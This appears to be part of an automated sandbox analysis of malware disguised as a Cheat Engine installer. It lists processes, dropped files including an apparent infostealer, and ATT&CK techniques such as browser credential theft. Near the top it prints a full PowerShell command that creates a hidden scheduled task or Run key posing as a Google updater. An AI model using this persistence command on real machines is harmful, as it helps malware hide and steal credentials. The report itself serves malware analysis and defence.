C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#zfjwxc#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Program Files\ReasonLabs\Common\rsSyncSvc.exe"C:\Program Files\ReasonLabs\Common\rsSyncSvc.exe" -pn:EPP -lpn:rav_antivirus -url:https://update.reasonsecurity.com/v2/live -bn:ReasonLabs -dt:101⤵
- Executes dropped EXE
-
C:\Program Files\McAfee\WebAdvisor\ServiceHost.exe"C:\Program Files\McAfee\WebAdvisor\ServiceHost.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- Modifies data under HKEY_USERS
-
C:\Program Files\McAfee\WebAdvisor\UIHost.exe"C:\Program Files\McAfee\WebAdvisor\UIHost.exe"2⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
-
-
C:\Program Files\McAfee\WebAdvisor\updater.exe"C:\Program Files\McAfee\WebAdvisor\updater.exe"2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
-
-
C:\Program Files\ReasonLabs\EPP\rsWSC.exe"C:\Program Files\ReasonLabs\EPP\rsWSC.exe"1⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
-
C:\Program Files\ReasonLabs\EPP\rsClientSvc.exe"C:\Program Files\ReasonLabs\EPP\rsClientSvc.exe"1⤵
- Executes dropped EXE
-
C:\Program Files\ReasonLabs\EPP\rsEngineSvc.exe"C:\Program Files\ReasonLabs\EPP\rsEngineSvc.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Program Files\ReasonLabs\EDR\rsEDRSvc.exe"C:\Program Files\ReasonLabs\EDR\rsEDRSvc.exe"1⤵
- Checks BIOS information in registry
- Executes dropped EXE
- Loads dropped DLL
- Checks system information in the registry
- Drops file in System32 directory
- Checks processor information in registry
- Modifies data under HKEY_USERS
- Modifies system certificate store
-
C:\Program Files\ReasonLabs\VPN\rsVPNClientSvc.exe"C:\Program Files\ReasonLabs\VPN\rsVPNClientSvc.exe"1⤵
- Executes dropped EXE
-
C:\Program Files\ReasonLabs\VPN\rsVPNSvc.exe"C:\Program Files\ReasonLabs\VPN\rsVPNSvc.exe"1⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- Modifies data under HKEY_USERS
-
\??\c:\program files\reasonlabs\VPN\ui\VPN.exe"c:\program files\reasonlabs\VPN\ui\VPN.exe" --minimized --focused --first-run2⤵
- Executes dropped EXE
-
C:\Program Files\ReasonLabs\Common\Client\v1.6.0\rsAppUI.exe"C:\Program Files\ReasonLabs\Common\Client\v1.6.0\rsAppUI.exe" "c:\program files\reasonlabs\VPN\ui\app.asar" --engine-path="c:\program files\reasonlabs\VPN" --minimized --focused --first-run3⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
-
C:\Windows\system32\wbem\WmiApSrv.exeC:\Windows\system32\wbem\WmiApSrv.exe1⤵
-
C:\Program Files\ReasonLabs\DNS\rsDNSClientSvc.exe"C:\Program Files\ReasonLabs\DNS\rsDNSClientSvc.exe"1⤵
-
C:\Program Files\ReasonLabs\DNS\rsDNSResolver.exe"C:\Program Files\ReasonLabs\DNS\rsDNSResolver.exe"1⤵
Network
MITRE ATT&CK Enterprise v15
Execution
Command and Scripting Interpreter
1PowerShell
1System Services
1Service Execution
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
2Windows Service
2Event Triggered Execution
1Component Object Model Hijacking
1Power Settings
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
2Windows Service
2Event Triggered Execution
1Component Object Model Hijacking
1Defense Evasion
File and Directory Permissions Modification
1Impair Defenses
1Modify Registry
4Subvert Trust Controls
1Install Root Certificate
1Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
2Credentials In Files
2Replay Monitor
Loading Replay Monitor...
Downloads
Cheat Engine.exe
Kernelmoduleunloader.exe
scoreboard.png
is-8FMOT.tmp
speedhack-i386.dll
speedhack-x86_64.dll
windowsrepair.exe
g.log
dataConfig.cab
rsSyncSvc.exe
InstallerLib.dll
Uninstall.exe
rsEngine.Core.dll
rsEngine.config
DNS.exe
InstallUtil.InstallLog
rsEDRSvc.InstallLog
rsEDRSvc.InstallLog
rsEDRSvc.InstallState
InstallerLib.dll
Uninstall.exe
mc.dll
rsEngine.Core.dll
rsEngine.config
rsEngineSvc.InstallLog
rsEngineSvc.InstallLog
rsWSC.InstallLog
rsWSC.InstallLog
EPP.exe
InstallerLib.dll
Uninstall.exe
rsEngine.Core.dll
rsEngine.config
rsVPNSvc.InstallLog
rsVPNSvc.InstallLog
VPN.exe
log_00200057003F001D0006.txt
log_00200057003F001D0006.txt
log_00200057003F001D0006.txt
log_00200057003F001D0006.txt
log_00200057003F001D0006.txt
log_00200057003F001D0006.txt
log_00200057003F001D0006.txt
log_00200057003F001D0006.txt
log_00200057003F001D0006.txt
log_00200057003F001D0006.txt
powershell.exe.log
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
additional_file0.tmp
3.exe
4dssvkjw.exe
setup.exe
Newtonsoft.Json.dll
Reason.PAC.dll
UnifiedStub-installer.exe
rsServiceController.DLL
rsLogger.DLL
Reason.PAC.DLL
Newtonsoft.Json.DLL
rsJSON.DLL
Reason.PAC.DLL
rsLogger.DLL
rsServiceController.DLL
rsLogger.DLL
Reason.PAC.DLL
rsJSON.DLL
rsServiceController.DLL
rsLogger.dll
rsStubLib.dll
CheatEngine75.exe
Newtonsoft.Json.dll
Opera_installer_241230013340458388.dll
SQLite.Interop.dll
System.Data.SQLite.dll
VegaStealer_v2.exe
__PSScriptPolicyTest_smjtgghl.wcd.ps1
CheatEngine75.tmp
_setup64.tmp
CheatEngine75.exe
Opera_new.png
RAV_Cross.png
WebAdvisor.png
logo.png
prod0.zip
installer.exe
saBSI.exe
prod1.zip
OperaSetup.exe
prod2.exe
zbShieldUtils.dll
CheatEngine75.tmp
v2.exe
Bookmarks.txt
Process.txt
settings.dat
rsElam.sys
powershell.exe.log
StartupProfileData-NonInteractive
memory/212-137-0x0000000007D20000-0x00000000082C4000-memory.dmp
memory/212-129-0x0000000006700000-0x0000000006721000-memory.dmp
memory/212-56-0x00000000006D0000-0x000000000071A000-memory.dmp
memory/212-105-0x00000000059A0000-0x0000000005A32000-memory.dmp
memory/212-116-0x0000000005600000-0x0000000005650000-memory.dmp
memory/212-115-0x0000000005560000-0x00000000055F2000-memory.dmp
memory/212-117-0x0000000005900000-0x0000000005922000-memory.dmp
memory/212-121-0x0000000006330000-0x0000000006398000-memory.dmp
memory/212-123-0x00000000062C0000-0x000000000630C000-memory.dmp
memory/212-226-0x00000000078E0000-0x00000000078FE000-memory.dmp
memory/212-132-0x00000000075A0000-0x0000000007762000-memory.dmp
memory/212-128-0x0000000007390000-0x00000000073CC000-memory.dmp
memory/212-122-0x00000000063A0000-0x00000000066F4000-memory.dmp
memory/212-224-0x0000000007CA0000-0x0000000007D06000-memory.dmp
memory/212-225-0x0000000008AF0000-0x0000000008B66000-memory.dmp
memory/1304-277-0x00007FF7E4520000-0x00007FF7E48B2000-memory.dmp
memory/1304-260-0x00007FF7E4520000-0x00007FF7E48B2000-memory.dmp
memory/1512-272-0x0000000003660000-0x00000000037A0000-memory.dmp
memory/1512-274-0x0000000000400000-0x000000000071C000-memory.dmp
memory/1512-1457-0x0000000003660000-0x00000000037A0000-memory.dmp
memory/1512-369-0x0000000000400000-0x000000000071C000-memory.dmp
memory/1512-746-0x0000000000400000-0x000000000071C000-memory.dmp
memory/1512-332-0x0000000003660000-0x00000000037A0000-memory.dmp
memory/1512-300-0x0000000000400000-0x000000000071C000-memory.dmp
memory/1512-298-0x0000000003660000-0x00000000037A0000-memory.dmp
memory/1512-292-0x0000000003660000-0x00000000037A0000-memory.dmp
memory/1628-320-0x0000026E7E160000-0x0000026E7E17C000-memory.dmp
memory/1628-325-0x0000026E7E3F0000-0x0000026E7E40A000-memory.dmp
memory/1628-321-0x0000026E7E180000-0x0000026E7E235000-memory.dmp
memory/1628-326-0x0000026E7E3A0000-0x0000026E7E3A8000-memory.dmp
memory/1628-324-0x0000026E7E390000-0x0000026E7E39A000-memory.dmp
memory/1628-327-0x0000026E7E3D0000-0x0000026E7E3D6000-memory.dmp
memory/1628-322-0x0000026E7E240000-0x0000026E7E24A000-memory.dmp
memory/1628-323-0x0000026E7E3B0000-0x0000026E7E3CC000-memory.dmp
memory/1628-328-0x0000026E7E3E0000-0x0000026E7E3EA000-memory.dmp
memory/1756-1306-0x0000000000400000-0x000000000071B000-memory.dmp
memory/2116-1438-0x0000000000400000-0x00000000004D8000-memory.dmp
memory/2116-477-0x0000000000400000-0x00000000004D8000-memory.dmp
memory/2116-1336-0x0000000000400000-0x00000000004D8000-memory.dmp
memory/2160-501-0x00007FF600CF0000-0x00007FF6014E4000-memory.dmp
memory/2160-1335-0x00007FF600CF0000-0x00007FF6014E4000-memory.dmp
memory/2160-500-0x00007FF600CF0000-0x00007FF6014E4000-memory.dmp
memory/2160-362-0x00007FF600CF0000-0x00007FF6014E4000-memory.dmp
memory/2160-364-0x0000020260FE0000-0x0000020261000000-memory.dmp
memory/2476-499-0x00007FF63F070000-0x00007FF63F086000-memory.dmp
memory/3052-60-0x0000000000400000-0x00000000004D8000-memory.dmp
memory/3052-261-0x0000000000400000-0x00000000004D8000-memory.dmp
memory/3080-5135-0x000001E5E0790000-0x000001E5E07CA000-memory.dmp
memory/3080-659-0x000001E5DEDC0000-0x000001E5DEDF0000-memory.dmp
memory/3080-655-0x000001E5DEE80000-0x000001E5DEF32000-memory.dmp
memory/3080-5172-0x000001E5E0880000-0x000001E5E08B2000-memory.dmp
memory/3080-5146-0x000001E5E0790000-0x000001E5E07C2000-memory.dmp
memory/3080-3394-0x000001E5E0690000-0x000001E5E06E0000-memory.dmp
memory/3080-647-0x000001E5C6420000-0x000001E5C6468000-memory.dmp
memory/3080-645-0x000001E5C4620000-0x000001E5C472A000-memory.dmp
memory/3080-5156-0x000001E5E0790000-0x000001E5E07BE000-memory.dmp
memory/3080-717-0x000001E5DFFA0000-0x000001E5DFFF8000-memory.dmp
memory/3080-649-0x000001E5C6470000-0x000001E5C64A2000-memory.dmp
memory/3080-3431-0x000001E5E0730000-0x000001E5E0788000-memory.dmp
memory/3088-1467-0x00007FF8297E0000-0x00007FF8297F0000-memory.dmp
memory/3088-1474-0x00007FF8297E0000-0x00007FF8297F0000-memory.dmp
memory/3088-1443-0x00007FF8297E0000-0x00007FF8297F0000-memory.dmp
memory/3088-1444-0x00007FF8297E0000-0x00007FF8297F0000-memory.dmp
memory/3088-1446-0x00007FF8297E0000-0x00007FF8297F0000-memory.dmp
memory/3088-1449-0x00007FF8297E0000-0x00007FF8297F0000-memory.dmp
memory/3088-1450-0x00007FF8297E0000-0x00007FF8297F0000-memory.dmp
memory/3088-1451-0x00007FF8297E0000-0x00007FF8297F0000-memory.dmp
memory/3088-1453-0x00007FF8297E0000-0x00007FF8297F0000-memory.dmp
memory/3088-1461-0x00007FF8297E0000-0x00007FF8297F0000-memory.dmp
memory/3088-1442-0x00007FF8297E0000-0x00007FF8297F0000-memory.dmp
memory/3088-1471-0x00007FF8297E0000-0x00007FF8297F0000-memory.dmp
memory/3088-1462-0x00007FF8297E0000-0x00007FF8297F0000-memory.dmp
memory/3088-1470-0x00007FF8297E0000-0x00007FF8297F0000-memory.dmp
memory/3088-1469-0x00007FF8297E0000-0x00007FF8297F0000-memory.dmp
memory/3088-1463-0x00007FF8297E0000-0x00007FF8297F0000-memory.dmp
memory/3088-1473-0x00007FF8297E0000-0x00007FF8297F0000-memory.dmp
memory/3088-1500-0x00007FF7D21E0000-0x00007FF7D21F0000-memory.dmp
memory/3088-1478-0x00007FF7D21E0000-0x00007FF7D21F0000-memory.dmp
memory/3088-1466-0x00007FF8297E0000-0x00007FF8297F0000-memory.dmp
memory/3088-1499-0x00007FF7D21E0000-0x00007FF7D21F0000-memory.dmp
memory/3088-1472-0x00007FF8297E0000-0x00007FF8297F0000-memory.dmp
memory/3088-1445-0x00007FF8297E0000-0x00007FF8297F0000-memory.dmp
memory/3088-1448-0x00007FF8297E0000-0x00007FF8297F0000-memory.dmp
memory/3088-1447-0x00007FF8297E0000-0x00007FF8297F0000-memory.dmp
memory/3088-1464-0x00007FF8297E0000-0x00007FF8297F0000-memory.dmp
memory/3088-1452-0x00007FF8297E0000-0x00007FF8297F0000-memory.dmp
memory/3088-1465-0x00007FF8297E0000-0x00007FF8297F0000-memory.dmp
memory/3088-1459-0x00007FF8297E0000-0x00007FF8297F0000-memory.dmp
memory/3088-1458-0x00007FF8297E0000-0x00007FF8297F0000-memory.dmp
memory/3088-1460-0x00007FF8297E0000-0x00007FF8297F0000-memory.dmp
memory/3088-1468-0x00007FF8297E0000-0x00007FF8297F0000-memory.dmp
memory/3088-1475-0x00007FF8297E0000-0x00007FF8297F0000-memory.dmp
memory/3088-1502-0x00007FF7D21E0000-0x00007FF7D21F0000-memory.dmp
memory/4440-457-0x000001EAE8E10000-0x000001EAE9338000-memory.dmp
memory/4440-456-0x000001EAE6440000-0x000001EAE6448000-memory.dmp
memory/4560-59-0x0000000000400000-0x0000000002BF8000-memory.dmp
memory/4700-363-0x00007FF7EA800000-0x00007FF7EAB92000-memory.dmp
memory/4700-310-0x00007FF7EA800000-0x00007FF7EAB92000-memory.dmp
memory/5076-238-0x0000020718EB0000-0x0000020718ED2000-memory.dmp
memory/5540-5236-0x0000028132660000-0x000002813267A000-memory.dmp
memory/5540-5237-0x000002814AEA0000-0x000002814AEC2000-memory.dmp
memory/5540-5235-0x000002814B550000-0x000002814B6CC000-memory.dmp
memory/5540-5234-0x000002814B1E0000-0x000002814B546000-memory.dmp
memory/6376-5512-0x00000122F31F0000-0x00000122F31F8000-memory.dmp
memory/6376-5513-0x00000122F5070000-0x00000122F5094000-memory.dmp
memory/6376-5434-0x00000122F3080000-0x00000122F30DE000-memory.dmp
memory/6376-5436-0x00000122F3A00000-0x00000122F3D69000-memory.dmp
memory/6376-5437-0x00000122F3020000-0x00000122F306F000-memory.dmp
memory/6376-5275-0x00000122F2EC0000-0x00000122F2F3A000-memory.dmp
memory/6376-5450-0x00000122F3D70000-0x00000122F3FF6000-memory.dmp
memory/6376-5451-0x00000122F3150000-0x00000122F31B6000-memory.dmp
memory/6376-5274-0x00000122F2F50000-0x00000122F2FD8000-memory.dmp
memory/6376-5479-0x00000122F3200000-0x00000122F323A000-memory.dmp
memory/6376-5480-0x00000122F3120000-0x00000122F3146000-memory.dmp
memory/6376-5481-0x00000122F34A0000-0x00000122F34C6000-memory.dmp
memory/6376-5482-0x00000122F35D0000-0x00000122F3682000-memory.dmp
memory/6376-5483-0x00000122F3510000-0x00000122F353A000-memory.dmp
memory/6376-5484-0x00000122F3690000-0x00000122F36F6000-memory.dmp
memory/6376-5487-0x00000122F5520000-0x00000122F5AC4000-memory.dmp
memory/6376-5490-0x00000122F3700000-0x00000122F3742000-memory.dmp
memory/6376-5491-0x00000122F51F0000-0x00000122F5470000-memory.dmp
memory/6376-5276-0x00000122D9FF0000-0x00000122DA028000-memory.dmp
memory/6376-5277-0x00000122DA0A0000-0x00000122DA0D2000-memory.dmp
memory/6376-5396-0x00000122DA0E0000-0x00000122DA106000-memory.dmp
memory/6376-5398-0x00000122F28E0000-0x00000122F2904000-memory.dmp
memory/6376-5401-0x00000122F2910000-0x00000122F293A000-memory.dmp
memory/6376-5415-0x00000122F3750000-0x00000122F39F2000-memory.dmp
memory/6376-5506-0x00000122F3580000-0x00000122F35B2000-memory.dmp
memory/6376-5433-0x00000122F2B10000-0x00000122F2B3E000-memory.dmp
memory/6376-5429-0x00000122F2AE0000-0x00000122F2B10000-memory.dmp
memory/6376-5514-0x00000122F50A0000-0x00000122F50C8000-memory.dmp
memory/6376-5533-0x00000122F5100000-0x00000122F5132000-memory.dmp
memory/6376-5534-0x00000122F5BD0000-0x00000122F5CD0000-memory.dmp
memory/7008-5435-0x000001B557290000-0x000001B557342000-memory.dmp
memory/7008-5495-0x000001B557980000-0x000001B557C70000-memory.dmp
memory/7008-5503-0x000001B558A10000-0x000001B558A1A000-memory.dmp
memory/7008-5502-0x000001B558A00000-0x000001B558A08000-memory.dmp
memory/7008-5432-0x000001B53E7B0000-0x000001B53E7DE000-memory.dmp
memory/7008-5500-0x000001B5578E0000-0x000001B5578EA000-memory.dmp
memory/7008-5499-0x000001B5578F0000-0x000001B557906000-memory.dmp
memory/7008-5496-0x000001B557230000-0x000001B55728E000-memory.dmp
memory/7912-5270-0x000001AB72780000-0x000001AB729D8000-memory.dmp
memory/7912-5254-0x000001AB71A60000-0x000001AB71AA4000-memory.dmp
memory/7912-5244-0x000001AB6FC70000-0x000001AB6FCBA000-memory.dmp
memory/7912-5241-0x000001AB722A0000-0x000001AB722FA000-memory.dmp
memory/7912-5240-0x000001AB700B0000-0x000001AB700D8000-memory.dmp
memory/7912-5239-0x000001AB6FC70000-0x000001AB6FCBA000-memory.dmp
memory/8028-5399-0x0000023EB6600000-0x0000023EB662A000-memory.dmp
memory/8028-5400-0x0000023ED0CE0000-0x0000023ED0EA0000-memory.dmp
memory/8028-5402-0x0000023EB6600000-0x0000023EB662A000-memory.dmp
memory/9076-5212-0x0000026CCC810000-0x0000026CCC84C000-memory.dmp
memory/9076-5211-0x0000026CB2800000-0x0000026CB2812000-memory.dmp
memory/9076-5198-0x0000026CB23D0000-0x0000026CB23FE000-memory.dmp
memory/9076-5197-0x0000026CB23D0000-0x0000026CB23FE000-memory.dmp